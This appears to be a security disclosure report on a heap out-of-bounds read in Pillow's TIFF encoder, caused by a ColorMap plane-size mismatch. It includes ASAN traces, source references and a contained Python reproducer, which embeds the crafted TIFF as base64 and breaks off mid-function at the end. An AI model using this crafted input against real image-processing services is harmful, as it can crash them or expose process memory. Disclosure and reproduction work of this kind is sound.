Pillow: TIFF encoder ColorMap plane-size mismatch causes a heap out-of-bounds read

Summary

A small attacker-supplied TIFF can be opened and loaded normally, then reach an out-of-bounds read when an application saves it back to TIFF with retained metadata. The fixed reproducer is a 1×1, 16-bit grayscale, PackBits-compressed TIFF containing tag 320 (ColorMap) with 768 SHORT values: three zero-filled planes of 256 entries each. No Python object is forged and no metadata is injected after loading.

Pillow's TIFF encoder allocates 768 × 2 = 1536 bytes, then passes three plane pointers separated by 256 SHORT entries to libtiff. With BitsPerSample = 16, libtiff instead expects 65536 SHORT values per plane and attempts a 131072-byte read from a plane pointer. Existing ASAN observations identify a heap-buffer-overflow READ crossing the 1536-byte allocation made in PyImaging_LibTiffEncoderNew.

The malformed ColorMap need not be a valid palette for this grayscale image. The issue is that accepted metadata is forwarded on save without reconciling the fixed plane extent with the effective sample depth. Opening/loading alone is not the demonstrated fault; the encoder path is required.

Impact and prerequisites

An application must accept the input, retain the relevant TIFF metadata, and invoke the libtiff-backed TIFF save path. The observed consequence is an out-of-bounds read and ASAN termination. Process-memory exposure during encoding is a potential consequence, not demonstrated by extracting arbitrary heap contents in this report. No arbitrary read primitive, full memory-disclosure chain, code execution, address-space bypass, or cross-process effect is claimed.

The 131072-byte attempted copy is not the number of bytes proven disclosed. This report does not run a synthetic-canary serializer or collect an unsanitized encoded output.

Tested environment and limits of the evidence

The existing observations were recorded on August 30, 2026, with CPython 3.11.8 on macOS ARM64, using the unmodified official Pillow 12.3.0 wheel and its bundled libtiff 4.7.1:

• Wheel: pillow-12.3.0-cp311-cp311-macosx_11_0_arm64.whl
• Wheel size: 4785266 bytes
• Wheel SHA-256: 37d6d0a00072fd2948eb22bce7e1475f34569d90c87c59f7a2ec59541b77f7a6
• Pillow source revision: bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d
• Bundled libtiff SHA-256: e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1

Apple's ASAN runtime was injected at process startup. This is not an ASAN-rebuilt Pillow wheel; allocation/memcpy interception detects the reported boundary violation, but the wheel's native instructions are not comprehensively instrumented.

Only this concrete full-package environment is established here. No affected-version range, current development-branch result, or patched release is asserted. Severity is Unknown; no CVSS score is proposed.

Separate earlier evidence reached the original Pillow 8.0.1 encoder constructor compiled as a component against a modern Python/libtiff environment. That was not a complete Pillow 8.0.1 installation and does not establish the historical package's full runtime behavior. It is not part of this reproducer or an affected-version range.

Observed evidence and controls

The earlier integration harness performed the natural sequence Image.open(BytesIO(input)), image.load(), then image.save(BytesIO(), format="TIFF"), without replacing the image's metadata. Each case was recorded three times:

Original fixture	Bytes	Recorded result
colormap16	1685	Loaded as I;16; save terminated with ASAN exit 86, READ of size 131072 crossing a 1536-byte heap region (3/3).
colormap8	1684	Same fixed ColorMap, but 8-bit samples; save succeeded and retained SHORT/count 768 (3/3).
colormap_absent	137	Same 16-bit geometry without ColorMap; save succeeded (3/3).

Address-free summary of the recorded native diagnostic:

AddressSanitizer: heap-buffer-overflow
READ of size 131072
0 bytes after 1536-byte region
Copy path: memcpy -> _TIFFmemcpy -> setByteArray -> _TIFFsetShortArrayExt
           -> _TIFFVSetField -> TIFFVSetField -> ImagingLibTiffSetField
           -> PyImaging_LibTiffEncoderNew
Allocation: calloc -> PyImaging_LibTiffEncoderNew

Input SHA-256 values (also enforced inside the script):

• colormap16: 5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d
• colormap8: fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c
• colormap_absent: bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556

Root cause and source references

• Pillow src/encode.c, lines 870–899, pinned revision: the ColorMap tuple must contain exactly 768 entries; a 1536-byte allocation is passed with a fixed stride of 256. The check does not reconcile that extent with BitsPerSample.
• Pillow src/PIL/TiffImagePlugin.py, lines 1944–1991, pinned revision: save carries supplied tags into the libtiff encoder and sorts the tags, so sample depth is established before ColorMap.
• libtiff tif_dir.c, lines 441–448, pinned revision: TIFFTAG_COLORMAP computes the per-plane count as 1L << td->td_bitspersample and copies that many SHORTs from each pointer.

The reported boundary is Pillow's construction of a fixed-sized array for a native API whose required size depends on metadata; this does not establish a standalone libtiff defect for a correctly sized caller buffer.

Prior art and disclosure scope

Pillow PR #5148, merged December 28, 2020, is related TIFF metadata prior art, but its archived diff replaces a short-lived stack field-name pointer with the persistent literal "CustomField". That is a different field-name-lifetime fix, not this plane-size mismatch. The reviewed material does not establish an exact prior public report or fix for this root, and novelty is not asserted. This specific report remains NOT_SENT; association with other observations is not a prior disclosure of it.

Reproduction instructions

Use an already reviewed, existing installation of the exact wheel above, an existing compatible macOS ARM64 CPython 3.11 interpreter, and an existing compatible Apple ASAN runtime. --package-path is the absolute directory containing PIL, not the PIL directory itself. The script does not install, download, build, patch, or submit anything. It checks selected key package files against the original installation's hashes and checks the loaded package/version; these checks are not a full installation attestation.

Save the complete Python block below as reproduce.py and run:

python3.11 -I -S -B reproduce.py \
  --package-path /absolute/path/to/reviewed/site-packages \
  --asan-runtime /absolute/path/to/reviewed/libclang_rt.asan_osx_dynamic.dylib

Both arguments are required. The runtime must be loaded at child startup, not by late dlopen. Each child resolves __asan_init, __asan_address_is_poisoned, and __asan_region_is_poisoned in its actual process symbol table before importing Pillow or opening a fixture. Merely setting DYLD_INSERT_LIBRARIES is not accepted as proof of ASAN availability. A missing symbol or package mismatch prevents the operation.

Each of the three cases runs once in a separate child with a 30-second wall limit, 10-second hard CPU limit, core dumps disabled, and 1 MiB regular-file-size limit. The parent supplies a clean allowlisted environment, isolated Python startup (-I -S -B), an empty temporary working directory, no stdin, and a 128 KiB combined pipe-output cap. Timeout/output-cap handling kills the child's process group. These limits are containment measures, not a security sandbox. No TIFF is written to disk. Temporary directories are removed; raw diagnostics are never forwarded or persisted.

The compressed/base64 constants below are the unchanged original benign TIFF fixtures, with decompressed size and SHA-256 checks. There are no external fixture dependencies. The standalone script supplied with this description is byte-for-byte the same as this block.

Separate August 31, 2026 inline validation: the exact embedded standalone script passed all three fixed cases: one ASan READ of 131,072 bytes crossing a 1,536-byte allocation and two passing controls. Child guards and limits passed, with no timeout. This is additional bounded evidence, separate from earlier runs; no new build, install, full historical chain or older-version integration replay was performed.

Expected results from the standalone script

Cases run in order: colormap8, colormap_absent, colormap16. Every printed line should have guard_passed: true, within_limits: true, and expected_observation: true. The first two require successful saves and the expected retained sample-depth/ColorMap fields. The last requires ASAN exit 86 and the specific READ/extent/stack signatures, not merely any crash. Only the two controls inspect encoded metadata; the unsafe case never exports an encoded TIFF.

The parent exits 0 only if all three expectations match; 1 means a case did not match (including guard failure or a changed ASAN diagnostic), and 2 means parent setup failed. A failed guard, timeout, unrelated crash, or missing diagnostic is inconclusive, not evidence that the defect is absent. Do not bypass the ASAN guard to obtain an output TIFF.

Complete standalone reproducer

import argparse
import base64
import ctypes
import hashlib
import io
import json
import os
from pathlib import Path
import platform
import resource
import selectors
import struct
import subprocess
import sys
import tempfile
import time
import zlib


FIXTURES = {'colormap8': [1684,
               'fdb26d9135549ed44824901985086c5ee4f06515699ca3291e498c523935405c',
               'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymQaqYoWzWBgYGNigbhAWh6iexMTCIIomLIZkjDmUzAbEMkhoHIJsBiCYxjIJRMApGwSgY2QAAPu0DiA=='],
 'colormap_absent': [137,
                     'bd54979624f3ffb713342e0458caff9e17c477f940cda2f0960feebfabbc9556',
                     'eNrz9NRi4GBgYOBiYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqr4NiEWRxMWQzBGHspmBWAZJDQOEBgDj8wKm'],
 'colormap16': [1685,
                '5f38e0ead90b97949fb0c98c63f9c68d00ba9181db6631ecb8927376dcc75f4d',
                'eNrz9NRi4GBgYOBmYGBkYWAEssAYic3EyAymBYCYGcpmbWBgYIOyQVgQqn4SGwODKJK4GJI54lA2MxDLIKlxALJBgpMYRsEoGAWjYBSMZACsEwB78wOS']}
PACKAGE_PINS = {'PIL/ImageFile.py': '983c4f35e0c51046d4c636998ec77000cd2da208870a03b205e104cd0b2df629',
 'PIL/_version.py': 'fe7d75d4019326aca24ae57d4ab190cd62ba1225b175051119cd61cd87e42b1d',
 'PIL/__init__.py': '7361b6ad3878589affe5956e4a4da24d71398b0891fd3a8c15e9362217b4ca01',
 'PIL/features.py': '14f904863b416914aaa6480735876ec31885b7272ee0d8d92b010c5b1b5e98f5',
 'PIL/TiffTags.py': '766dea350424b9a2caab3513be794689403c2b7222cd038006f69cff08edb45d',
 'PIL/TiffImagePlugin.py': '440b2a3a80b280d18cda3fc70d9fd206e2fa44e9897c9550f70b51395047b273',
 'PIL/_imaging.cpython-311-darwin.so': '6d09b1fb925779fff32b5b8a4c348a42c201d350d0e0fd8cdc00410b6779e596',
 'PIL/Image.py': '04af3f2db7ffdd61e829fa7aa8f5481d394a0a4129a8fd8aa5b13908928fcd6d',
 'PIL/.dylibs/libtiff.6.dylib': 'e8988717b7470394a47d5ccd343130796b24ee70b6d885d3818e0e0b53238be1',
 'pillow-12.3.0.dist-info/WHEEL': 'de2586b77651a8bf1b7778c3609979713ebc901784a837fca80ed4969fc82e57',
 'pillow-12.3.0.dist-info/METADATA': '8fc07146cab33ef7582361dab6eac596d340b03ec648f18217da7894f73838c8'}
CASES = tuple(FIXTURES)
WALL_SECONDS = 30
FILE_LIMIT = 1024 * 1024
PIPE_LIMIT = 128 * 1024


def limits():
    resource.setrlimit(resource.RLIMIT_CORE, (0, 0))
    resource.setrlimit(resource.RLIMIT_CPU, (10, 10))
    resource.setrlimit(resource.RLIMIT_FSIZE, (FILE_LIMIT, FILE_LIMIT))


def fixture(case):
    size, expected_hash, encoded = FIXTURES[case]
    decoder = zlib.decompressobj()
    data = decoder.decompress(base64.b64decode(encoded, validate=True), size + 1)
    if (len(data) != size or not decoder.eof or decoder.unused_data
            or decoder.unconsumed_tail
            or hashlib.sha256(data).hexdigest() != expected_hash):
        raise ValueError("fixture integrity check failed")
    return data


def field(data, wanted):
    if len(data) < 8 or data[:4] not in (b"II*\0", b"MM\0*"):
        raise ValueError("not classic TIFF")
    endian = "<" if data[:2] == b"II" else ">"
    directory = struct.unpack_from(endian + "I", data, 4)[0]
    count = struct.unpack_from(endian + "H", data, directory)[0]
    if directory + 2 + count * 12 + 4 > len(data):
        raise ValueError("truncated directory")
    for number in range(count):
        offset = directory + 2 + number * 12
        tag, kind, length = struct.unpack_from(endian + "HHI", data, offset)
        if tag != wanted:
            continue
        size = {1: 1, 2: 1, 3: 2, 4: 4, 7: 1}[kind] * length
        start = offset + 8 if size <= 4 else struct.unpack_from(endian + "I", data, offset + 8)[0]
        if start + size > len(data):
            raise ValueError("truncated field")
        return kind, length, data[start:start + size], endian
    return None


def checked_image_module(package):
    if (sys.implementation.name != "cpython" or sys.version_info[:2] != (3, 11)
            or sys.platform != "darwin" or platform.machine() != "arm64"):
        raise RuntimeError("requires macOS ARM64 CPython 3.11")
    for relative, expected in PACKAGE_PINS.items():
        path = (package / relative).resolve(strict=True)
        if not path.is_relative_to(package) or hashlib.sha256(path.read_bytes()).hexdigest() != expected:
            raise RuntimeError("reviewed wheel file mismatch")
    process_symbols = ctypes.CDLL(None)
    for symbol in ("__asan_init", "__asan_address_is_poisoned", "__asan_region_is_poisoned"):
        getattr(process_symbols, symbol)
    sys.path.insert(0, str(package))
    from PIL import Image, features
    if (Image.__version__ != "12.3.0" or features.version("libtiff") != "4.7.1"
            or Path(Image.__file__).resolve() != package / "PIL/Image.py"
            or Path(Image.core.__file__).resolve() != package / "PIL/_imaging.cpython-311-darwin.so"):
        raise RuntimeError("unexpected Pillow or libtiff")
    return Image


def emit(descriptor, message):
    os.write(descriptor, (json.dumps(message, sort_keys=True) + "\n").encode("ascii"))


def child(case, package):
    descriptor = os.dup(1)
    with open(os.devnull, "wb") as quiet:
        os.dup2(quiet.fileno(), 1)
    try:
        image_module = checked_image_module(package)
        data = fixture(case)
        with image_module.open(io.BytesIO(data)) as image:
            image.load()
            if image.size != (1, 1) or image.info.get("compression") != "packbits":
                raise ValueError("unexpected input geometry")
            bits = 8 if case == "colormap8" else 16
            if image.tag_v2[258] != (bits,):
                raise ValueError("unexpected sample width")
            if case == "colormap_absent":
                if 320 in image.tag_v2:
                    raise ValueError("unexpected ColorMap")
            elif image.tag_v2[320] != (0,) * 768:
                raise ValueError("unexpected ColorMap planes")
            emit(descriptor, {"ready": True})
            with io.BytesIO() as output:
                image.save(output, format="TIFF")
                if case == "colormap16":
                    emit(descriptor, {"unsafe_save_returned": True})
                    return 1
                encoded = output.getvalue()
                saved_bits = field(encoded, 258)
                map_field = field(encoded, 320)
                bits_preserved = (saved_bits is not None and saved_bits[:2] == (3, 1)
                                  and struct.unpack(saved_bits[3] + "H", saved_bits[2])[0] == bits)
                map_preserved = (map_field is None if case == "colormap_absent"
                                 else map_field is not None and map_field[:2] == (3, 768)
                                 and map_field[2] == bytes(1536))
                emit(descriptor, {"control_passed": bool(bits_preserved and map_preserved)})
        return 0
    except Exception:
        emit(descriptor, {"child_failed": True})
        return 2
    finally:
        os.close(descriptor)


def run_case(case, package, runtime):
    with tempfile.TemporaryDirectory(prefix="pillow-check-") as temporary:
        environment = {
            "PATH": "/usr/bin:/bin:/usr/sbin:/sbin",
            "HOME": temporary,
            "TMPDIR": temporary,
            "LC_ALL": "C",
            "DYLD_INSERT_LIBRARIES": str(runtime),
            "ASAN_OPTIONS": "detect_leaks=0:halt_on_error=1:abort_on_error=0:exitcode=86:"
                            "disable_coredump=1:symbolize=1:malloc_fill_byte=165:"
                            "max_malloc_fill_size=1048576:log_path=stderr",
        }
        command = [sys.executable, "-I", "-S", "-B", str(Path(__file__).resolve()),
                   "--package-path", str(package), "--asan-runtime", str(runtime), "--child", case]
        output = bytearray()
        diagnostics = bytearray()
        deadline = time.monotonic() + WALL_SECONDS
        with subprocess.Popen(command, cwd=temporary, env=environment, stdin=subprocess.DEVNULL,
                              stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                              preexec_fn=limits, start_new_session=True) as process:
            bounded = True
            try:
                with selectors.DefaultSelector() as selector:
                    selector.register(process.stdout, selectors.EVENT_READ, output)
                    selector.register(process.stderr, selectors.EVENT_READ, diagnostics)
                    while selector.get_map():
                        remaining = deadline - time.monotonic()
                        if remaining <= 0:
                            raise TimeoutError
                        for key, events in selector.select(min(remaining, 0.25)):
                            chunk = os.read(key.fileobj.fileno(), 8192)
                            if not chunk:
                                selector.unregister(key.fileobj)
                            else:
                                key.data.extend(chunk)
                                if len(output) + len(diagnostics) > PIPE_LIMIT:
                                    raise BufferError
                    process.wait(timeout=max(0.001, deadline - time.monotonic()))
            except (TimeoutError, BufferError, subprocess.TimeoutExpired):
                bounded = False
                try:
                    os.killpg(process.pid, 9)
                except ProcessLookupError:
                    pass
                process.wait()
            status = process.returncode
        try:
            messages = [json.loads(line) for line in output.splitlines()]
        except (ValueError, UnicodeError):
            messages = []
        ready = bool(messages and messages[0] == {"ready": True})
        if case == "colormap16":
            observed = bool(bounded and ready and status == 86 and len(messages) == 1
                            and b"AddressSanitizer: heap-buffer-overflow" in diagnostics
                            and b"READ of size 131072" in diagnostics
                            and b"0 bytes after 1536-byte region" in diagnostics
                            and b"PyImaging_LibTiffEncoderNew" in diagnostics
                            and b"_TIFFmemcpy" in diagnostics)
        else:
            observed = bool(bounded and ready and status == 0
                            and messages